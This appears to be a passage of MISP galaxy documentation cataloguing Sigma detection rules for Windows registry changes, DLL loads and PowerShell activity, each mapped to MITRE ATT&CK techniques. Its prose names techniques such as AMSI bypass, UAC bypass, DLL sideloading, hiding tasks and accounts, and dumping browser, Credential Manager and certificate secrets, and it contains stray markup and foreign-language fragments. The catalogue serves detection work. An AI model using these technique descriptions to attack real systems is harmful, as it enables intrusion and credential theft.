Remove SD (Security Descriptor) value in \Schedule\TaskCache\Tree registry hive to hide schedule task. This technique is used by Tarrask malware

The tag is: `misp-galaxy:sigma-rules="Removal Of SD Value to Hide Schedule Task - Registry"`

View relationships graph

Removal Of SD Value to Hide Schedule Task - Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"` with estimative-language:likelihood-probability="almost-certain"

Table 8673. Table References

Removal Of AMSI Provider Registry Keys

Detects the deletion of AMSI provider registry key entries in HKLM\Software\Microsoft\AMSI. This technique could be used by an attacker in order to disable AMSI inspection.

The tag is: `misp-galaxy:sigma-rules="Removal Of AMSI Provider Registry Keys"`

View relationships graph

Removal Of AMSI Provider Registry Keys has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8674. Table References
Folder Removed From Exploit Guard ProtectedFolders List - Registry

Detects the removal of folders from the "ProtectedFolders" list of exploit guard. This could indicate an attacker trying to launch an encryption process or trying to manipulate data inside of the protected folder.

The tag is: `misp-galaxy:sigma-rules="Folder Removed From Exploit Guard ProtectedFolders List - Registry"`

View relationships graph

Folder Removed From Exploit Guard ProtectedFolders List - Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8675. Table References

Removal Of Index Value to Hide Schedule Task - Registry

Detects when the "index" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as "schtasks /query"

The tag is: `misp-galaxy:sigma-rules="Removal Of Index Value to Hide Schedule Task - Registry"`

View relationships graph

Removal Of Index Value to Hide Schedule Task - Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"` with estimative-language:likelihood-probability="almost-certain"
Removal of Potential COM Hijacking Registry Keys

Detects any deletion of entries in ".*\shell\open\command" registry keys. These registry keys might have been used for COM hijacking activities by a threat actor or an attacker and the deletion could indicate steps to remove its tracks.

The tag is: `misp-galaxy:sigma-rules="Removal of Potential COM Hijacking Registry Keys"`

View relationships graph

Removal of Potential COM Hijacking Registry Keys has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

Potential Ursnif Malware Activity - Registry

Detects registry keys related to Ursnif malware.

The tag is: `misp-galaxy:sigma-rules="Potential Ursnif Malware Activity - Registry"`

View relationships graph

Potential Ursnif Malware Activity - Registry has relationships with:
**Potential COM Object Hijacking Via TreatAs Subkey - Registry**

Detects COM object hijacking via TreatAs subkey

The tag is: `misp-galaxy:sigma-rules="Potential COM Object Hijacking Via TreatAs Subkey - Registry"`

View relationships graph

Potential COM Object Hijacking Via TreatAs Subkey - Registry has relationships with:

**Potential Persistence Via Disk Cleanup Handler - Registry**

Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence. The disk cleanup manager is part of the operating system. It displays the dialog box [...] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager’s UI. Although Windows comes with a number of disk cleanup handlers, they aren’t designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.
**PUA - Sysinternal Tool Execution - Registry**

Detects the execution of a Sysinternals Tool via the creation of the "accepteula" registry key

The tag is: *misp-galaxy:sigma-rules="PUA - Sysinternal Tool Execution - Registry"*

View relationships graph

PUA - Sysinternal Tool Execution - Registry has relationships with:

---

**Potential NetWire RAT Activity - Registry**

Detects registry keys related to NetWire RAT

The tag is: *misp-galaxy:sigma-rules="Potential NetWire RAT Activity - Registry"*

View relationships graph

Potential NetWire RAT Activity - Registry has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

---

Suspicious Execution Of Renamed Sysinternals Tools - Registry

Detects the creation of the "accepteula" key related to the Sysinternals tools being created from executables with the wrong name (e.g. a renamed Sysinternals tool)

The tag is: misp-galaxy:sigma-rules="Suspicious Execution Of Renamed Sysinternals Tools - Registry"

View relationships graph

Suspicious Execution Of Renamed Sysinternals Tools - Registry has relationships with:

Potential Persistence Via New AMSI Providers - Registry

Detects when an attacker registers a new AMSI provider in order to achieve persistence

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via New AMSI Providers - Registry"
Potential Persistence Via Logon Scripts - Registry

Detects creation of "UserInitMprLogonScript" registry value which can be used as a persistence method by malicious actors

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Logon Scripts - Registry"`

View relationships graph

Potential Persistence Via Logon Scripts - Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001"` with estimative-language:likelihood-probability="almost-certain"

Persistence Via Disk Cleanup Handler - Autorun

Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun. The disk cleanup manager is part of the operating system. It displays the dialog box [...] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.

The tag is: `misp-galaxy:sigma-rules="Persistence Via Disk Cleanup Handler - Autorun"

New RUN Key Pointing to Suspicious Folder

Detects suspicious new RUN key element pointing to an executable in a suspicious folder

The tag is: misp-galaxy:sigma-rules="New RUN Key Pointing to Suspicious Folder"

View relationships graph

New RUN Key Pointing to Suspicious Folder has relationships with:
Custom File Open Handler Executes PowerShell

Detects the abuse of custom file open handler, executing powershell

The tag is: `misp-galaxy:sigma-rules="Custom File Open Handler Executes PowerShell"`

View relationships graph

Custom File Open Handler Executes PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

Service Binary in Suspicious Folder

Detect the creation of a service with a service binary located in a suspicious directory

The tag is: `misp-galaxy:sigma-rules="Service Binary in Suspicious Folder"`

View relationships graph

Service Binary in Suspicious Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
NET NGenAssemblyUsageLog Registry Key Tamper

Detects changes to the NGenAssemblyUsageLog registry key. .NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section). By specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created.

The tag is: misp-galaxy:sigma-rules="NET NGenAssemblyUsageLog Registry Key Tamper"

View relationships graph

NET NGenAssemblyUsageLog Registry Key Tamper has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Common Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: misp-galaxy:sigma-rules="Common Autorun Keys Modification"

View relationships graph

Common Autorun Keys Modification has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Suspicious Path In Keyboard Layout IME File Registry Value

Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.
The tag is: `misp-galaxy:sigma-rules="Suspicious Path In Keyboard Layout IME File Registry Value"`

**View relationships graph**

Suspicious Path In Keyboard Layout IME File Registry Value has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

**New BgInfo.EXE Custom DB Path Registry Configuration**

Detects setting of a new registry database value related to BgInfo configuration. Attackers can for example set this value to save the results of the commands executed by BgInfo in order to exfiltrate information.

The tag is: `misp-galaxy:sigma-rules="New BgInfo.EXE Custom DB Path Registry Configuration"`
UAC Bypass via Sdclt

Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)

The tag is: misp-galaxy:sigma-rules="UAC Bypass via Sdclt"

Outlook Macro Execution Without Warning Setting Enabled

Detects the modification of Outlook security setting to allow unprompted execution of macros.

The tag is: misp-galaxy:sigma-rules="Outlook Macro Execution Without Warning Setting Enabled"
**Trust Access Disable For VBApplications**

Detects registry changes to Microsoft Office "AccessVBOM" to a value of "1" which disables trust access for VBA on the victim machine and lets attackers execute malicious macros without any Microsoft Office warnings.

The tag is: `misp-galaxy:sigma-rules="Trust Access Disable For VBApplications"`

**View relationships graph**

Trust Access Disable For VBApplications has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

**Persistence Via Hhctrl.ocx**

Detects when an attacker modifies the registry value of the "hhctrl" to point to a custom binary

The tag is: `misp-galaxy:sigma-rules="Persistence Via Hhctrl.ocx"`
Registry Disable System Restore

Detects the modification of the registry to disable a system restore on the computer

The tag is: `misp-galaxy:sigma-rules="Registry Disable System Restore"`

View relationships graph

Registry Disable System Restore has relationships with:

</tbody>
</table>
Potential Registry Persistence Attempt Via Windows Telemetry

Detects potential persistence behavior using the windows telemetry registry key. Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.

The tag is: misp-galaxy:sigma-rules="Potential Registry Persistence Attempt Via Windows Telemetry"

PowerShell Logging Disabled Via Registry Key Tampering

Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging

The tag is: misp-galaxy:sigma-rules="PowerShell Logging Disabled Via Registry Key Tampering"
New BgInfo.EXE Custom WMI Query Registry Configuration

Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom WMI query via "BgInfo.exe"

The tag is: `misp-galaxy:sigma-rules="New BgInfo.EXE Custom WMI Query Registry Configuration"`

View relationships graph

Winlogon AllowMultipleTSSessions Enable

Detects when the 'AllowMultipleTSSessions' value is enabled. Which allows for multiple Remote Desktop connection sessions to be opened at once. This is often used by attacker as a way to connect to an RDP session without disconnecting the other users

The tag is: `misp-galaxy:sigma-rules="Winlogon AllowMultipleTSSessions Enable"`

View relationships graph
Add DisallowRun Execution to Registry

Detect set DisallowRun to 1 to prevent user running specific computer program

The tag is: `misp-galaxy:sigma-rules="Add DisallowRun Execution to Registry"`

View relationships graph

Add DisallowRun Execution to Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

IE Change Domain Zone

Hides the file extension through modification of the registry

The tag is: `misp-galaxy:sigma-rules="IE Change Domain Zone"`

View relationships graph

IE Change Domain Zone has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"` with estimative-language:likelihood-probability="almost-certain"
Potential Persistence Via DLLPathOverride

Detects when an attacker adds a new "DLLPathOverride" value to the "Natural Language" key in order to achieve persistence which will get invoked by "SearchIndexer.exe" process

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via DLLPathOverride"`

Hiding User Account Via SpecialAccounts Registry Key

Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.

The tag is: `misp-galaxy: sigma-rules="Hiding User Account Via SpecialAccounts Registry Key"`

View relationships graph

Hiding User Account Via SpecialAccounts Registry Key has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Hidden Users - T1564.002"` with estimative-language:likelihood-probability="almost-certain"

Table 8810. Table References
Potential Persistence Via Shim Database Modification

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.

The tag is: `misp-galaxy: sigma-rules="Potential Persistence Via Shim Database Modification"`

Bypass UAC Using DelegateExecute

Bypasses User Account Control using a fileless method

The tag is: `misp-galaxy: sigma-rules="Bypass UAC Using DelegateExecute"`
Modification of IE Registry Settings

Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence.

The tag is: `misp-galaxy:sigma-rules="Modification of IE Registry Settings"`

PowerShell as a Service in Registry

Detects that a powershell code is written to the registry as a service.

The tag is: `misp-galaxy:sigma-rules="PowerShell as a Service in Registry"`
PowerShell as a Service in Registry has relationships with:

Suspicious Printer Driver Empty Manufacturer

Detects a suspicious printer driver installation with an empty Manufacturer value

The tag is: misp-galaxy:sigma-rules="Suspicious Printer Driver Empty Manufacturer"
Set TimeProviders DllName

Detects processes setting a new DLL in DllName in under HKKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.

The tag is: misp-galaxy:sigma-rules="Set TimeProviders DllName"

View relationships graph

Uncommon Extension In Keyboard Layout IME File Registry Value

Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGERREQUEST message. Before doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named "Ime File" with a DLL path. IMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.

The tag is: misp-galaxy:sigma-rules="Uncommon Extension In Keyboard Layout IME File Registry Value"

View relationships graph

Potential Ransomware Activity Using LegalNotice Message

Detect changes to the "LegalNoticeCaption" or "LegalNoticeText" registry values where the message set contains keywords often used in ransomware ransom messages.

The tag is: `misp-galaxy:sigma-rules="Potential Ransomware Activity Using LegalNotice Message"`

View relationships graph

Potential Ransomware Activity Using LegalNotice Message has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001"` with estimative-language:likelihood-probability="almost-certain"
**Disable Internal Tools or Feature in Registry**

Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)

The tag is: `misp-galaxy: sigma-rules="Disable Internal Tools or Feature in Registry"`

View relationships graph

Disable Internal Tools or Feature in Registry has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Modify Registry - T1112"` with `estimative-language:likelihood-probability="almost-certain"`

**Potential AMSI COM Server Hijacking**

Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless

The tag is: `misp-galaxy: sigma-rules="Potential AMSI COM Server Hijacking"`

View relationships graph

Potential AMSI COM Server Hijacking has relationships with:
Register New IFilters For Persistence

Detects when an attacker registers a new IFilter for an extension. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files.

The tag is: `misp-galaxy:sigma-rules="Register New IFilter For Persistence"`

VBScript Payload Stored in Registry

Detects VBScript content stored into registry keys as seen being used by UNC2452 group.

The tag is: `misp-galaxy:sigma-rules="VBScript Payload Stored in Registry"`

View relationships graph

VBScript Payload Stored in Registry has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
Potential Persistence Via TypedPaths

Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt.

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via TypedPaths"

Table 8862. Table References

ServiceDll Hijack

Detects changes to the "ServiceDLL" value related to a service in the registry. This is often used as a method of persistence.

The tag is: misp-galaxy:sigma-rules="ServiceDll Hijack"

Table 8863. Table References
Unsigned Module Loaded by ClickOnce Application

Detects unsigned module load by ClickOnce application.

The tag is: `misp-galaxy:sigma-rules="Unsigned Module Loaded by ClickOnce Application"`

View relationships graph

Unsigned Module Loaded by ClickOnce Application has relationships with:

</tr>
</tbody>
</table>

Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded

Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecraft use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.

The tag is: `misp-galaxy:sigma-rules="Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded"`

View relationships graph

Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded has relationships with:

Svchost DLL Search Order Hijack

Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\Windows\System32\ by default. An attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services "svchost.exe -k netsvcs" to gain code execution on a remote machine.

The tag is: misp-galaxy:sigma-rules="Svchost DLL Search Order Hijack"

View relationships graph

Svchost DLL Search Order Hijack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

HackTool - SharpEvtMute DLL Load

Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool that tampers with the Windows event logs

The tag is: misp-galaxy:sigma-rules="HackTool - SharpEvtMute DLL Load"
HackTool - SharpEvtMute DLL Load has relationships with:

Fax Service DLL Search Order Hijack

The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.

The tag is: misp-galaxy:sigma-rules="Fax Service DLL Search Order Hijack"

Amsi.DLL Load By Uncommon Process

Detects loading of Amsi.dll by uncommon processes

The tag is: misp-galaxy:sigma-rules="Amsi.DLL Load By Uncommon Process"
Potential SolidPDFCreator.DLL Sideloadlng

Detects potential DLL sideloading of "SolidPDFCreator.dll"

The tag is: *misp-galaxy:sigma-rules="Potential SolidPDFCreator.DLL Sideloadlng"*

View relationships graph

Potential SolidPDFCreator.DLL Sideloadlng has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"* with estimative-language:likelihood-probability="almost-certain"

WMI Persistence - Command Line Event Consumer

Detects WMI command line event consumers

The tag is: *misp-galaxy:sigma-rules="WMI Persistence - Command Line Event Consumer"*

View relationships graph

WMI Persistence - Command Line Event Consumer has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003"* with estimative-language:likelihood-probability="almost-certain"
Unsigned Mfdetours.DLL Sideload

Detects DLL sideloading of unsigned "mfdetours.dll". Executing "mftrace.exe" can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.

The tag is: `misp-galaxy:sigma-rules="Unsigned Mfdetours.DLL Sideload"`

View relationships graph

Unsigned Mfdetours.DLL Sideload has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Abusable DLL Potential Sidelodging From Suspicious Location

Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations

The tag is: misp-galaxy:sigma-rules="Abusable DLL Potential Sidelodging From Suspicious Location"

View relationships graph

Abusable DLL Potential Sidelodging From Suspicious Location has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 8901. Table References

Links

- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_abused_dlls_susp_paths.yml

Suspicious Volume Shadow Copy VSS_PS.dll Load

Detects the image load of vss_ps.dll by uncommon executables

The tag is: misp-galaxy:sigma-rules="Suspicious Volume Shadow Copy VSS_PS.dll Load"

View relationships graph

Suspicious Volume Shadow Copy VSS_PS.dll Load has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 8902. Table References

Potential Azure Browser SSO Abuse

Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser. An attacker can use this to authenticate to Azure AD in a browser as that user.

The tag is: `misp-galaxy:sigma-rules="Potential Azure Browser SSO Abuse"`

View relationships graph

Potential Azure Browser SSO Abuse has relationships with:

**PowerShell Core DLL Loaded By Non PowerShell Process**

Detects loading of essential DLLs used by PowerShell, but not by the process powershell.exe. Detects behaviour similar to meterpreter’s "load powershell" extension.

The tag is: `misp-galaxy:sigma-rules="PowerShell Core DLL Loaded By Non PowerShell Process"`

**Load Of RstrtMgr.DLL By An Uncommon Process**

Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.

The tag is: `misp-galaxy:sigma-rules="Load Of RstrtMgr.DLL By An Uncommon Process"`
Potential Antivirus Software DLL Sidelocking

Detects potential DLL sideloading of DLLs that are part of antivirus software such as McAfee, Symantec...etc

The tag is: misp-galaxy:sigma-rules="Potential Antivirus Software DLL Sidelocking"

View relationships graph

Potential Antivirus Software DLL Sidelocking has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

DotNET Assembly DLL Loaded Via Office Application

Detects any assembly DLL being loaded by an Office Product

The tag is: misp-galaxy:sigma-rules="DotNET Assembly DLL Loaded Via Office Application"

View relationships graph

DotNET Assembly DLL Loaded Via Office Application has relationships with:

Third Party Software DLL Sideloading

Detects DLL sideloading of DLLs that are part of third party software (zoom, discord,...etc)

The tag is: misp-galaxy:sigma-rules="Third Party Software DLL Sideloading"

View relationships graph

Third Party Software DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Access to Browser Login Data

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so...
that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.

The tag is: *misp-galaxy:sigma-rules*="Access to Browser Login Data"

**View relationships graph**

Access to Browser Login Data has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

### Import PowerShell Modules From Suspicious Directories

Detects powershell scripts that import modules from suspicious directories

The tag is: *misp-galaxy:sigma-rules*="Import PowerShell Modules From Suspicious Directories"

**View relationships graph**

Import PowerShell Modules From Suspicious Directories has relationships with:
Powershell Sensitive File Discovery

Detect adversaries enumerate sensitive files

The tag is: misp-galaxy:sigma-rules="Powershell Sensitive File Discovery"

View relationships graph

Powershell Sensitive File Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

PowerShell Script With File Hostname Resolving Capabilities

Detects PowerShell scripts that have capabilities to read files, loop through them and resolve DNS host entries.

The tag is: misp-galaxy:sigma-rules="PowerShell Script With File Hostname Resolving Capabilities"

View relationships graph

PowerShell Script With File Hostname Resolving Capabilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
Dump Credentials from Windows Credential Manager With PowerShell

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

The tag is: `misp-galaxy:sigma-rules="Dump Credentials from Windows Credential Manager With PowerShell"`

View relationships graph

Dump Credentials from Windows Credential Manager With PowerShell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555"` with estimative-language:likelihood-probability="almost-certain"

Powershell Execute Batch Script

Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

The tag is: misp-galaxy:sigma-rules="Powershell Execute Batch Script"

Suspicious Hyper-V Cmdlets

Adversaries may carry out malicious operations using a virtual instance to avoid detection

The tag is: `misp-galaxy:sigma-rules="Suspicious Hyper-V Cmdlets"`

View relationships graph

Suspicious Hyper-V Cmdlets has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006"` with estimative-language:likelihood-probability="almost-certain"
Service Registry Permissions Weakness Check

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services

The tag is: misp-galaxy: sigma-rules="Service Registry Permissions Weakness Check"

Create Volume Shadow Copy with Powershell

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information

The tag is: misp-galaxy: sigma-rules="Create Volume Shadow Copy with Powershell"
Veeam Backup Servers Credential Dumping Script Execution

Detects execution of a PowerShell script that contains calls to the "Veeam.Backup" class, in order to dump stored credentials.

The tag is: misp-galaxy:sigma-rules="Veeam Backup Servers Credential Dumping Script Execution"

Enable Windows Remote Management

Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

The tag is: misp-galaxy:sigma-rules="Enable Windows Remote Management"

Enable Windows Remote Management has relationships with:

**Suspicious PowerShell Mailbox SMTP Forward Rule**

Detects usage of the PowerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Mailbox SMTP Forward Rule"`

**Certificate Exported Via PowerShell - ScriptBlock**

Detects calls to cmdlets inside of PowerShell scripts that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

The tag is: *misp-galaxy:sigma-rules=*="Certificate Exported Via PowerShell - ScriptBlock"

View relationships graph

Certificate Exported Via PowerShell - ScriptBlock has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-
PowerShell Script Change Permission Via Set-Acl - PsScript

Detects PowerShell scripts set ACL to of a file or a folder

The tag is: misp-galaxy:sigma-rules="PowerShell Script Change Permission Via Set-Acl - PsScript"

A体系建设图

PowerShell Script Change Permission Via Set-Acl - PsScript 与以下相关联：

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"

AMSI Bypass Pattern Assembly GetType

Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts

The tag is: misp-galaxy:sigma-rules="AMSI Bypass Pattern Assembly GetType"

A体系建设图

AMSI Bypass Pattern Assembly GetType 与以下相关联：

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
Suspicious Invoke-Item From Mount-DiskImage

Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.

The tag is: misp-galaxy:sigma-rules="Suspicious Invoke-Item From Mount-DiskImage"

View relationships graph

Suspicious Invoke-Item From Mount-DiskImage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"

Table 9111. Table References

Security Software Discovery Via Powershell Script

Detects calls to "get-process" where the output is piped to a "where-object" filter to search for security solution processes. Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus.

The tag is: misp-galaxy:sigma-rules="Security Software Discovery Via Powershell Script"

View relationships graph

Security Software Discovery Via Powershell Script has relationships with:

Powershell Local Email Collection

Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user's local system, such as Outlook storage or cache files.

The tag is: `misp-galaxy:sigma-rules="Powershell Local Email Collection"`

View relationships graph

Powershell Local Email Collection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"` with estimative-language:likelihood-probability="almost-certain"

Suspicious PowerShell Get Current User

Detects the use of PowerShell to identify the current logged user.

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Get Current User"`

View relationships graph

Suspicious PowerShell Get Current User has relationships with:

User Discovery And Export Via Get-ADUser Cmdlet - PowerShell

Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file

The tag is: \textit{misp-galaxy:sigma-rules="User Discovery And Export Via Get-ADUser Cmdlet - PowerShell"}

View relationships graph

User Discovery And Export Via Get-ADUser Cmdlet - PowerShell has relationships with:

Suspicious Service DACL Modification Via Set-Service Cmdlet - PS

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

The tag is: *misp-galaxy:sigma-rules*="Suspicious Service DACL Modification Via Set-Service Cmdlet - PS"

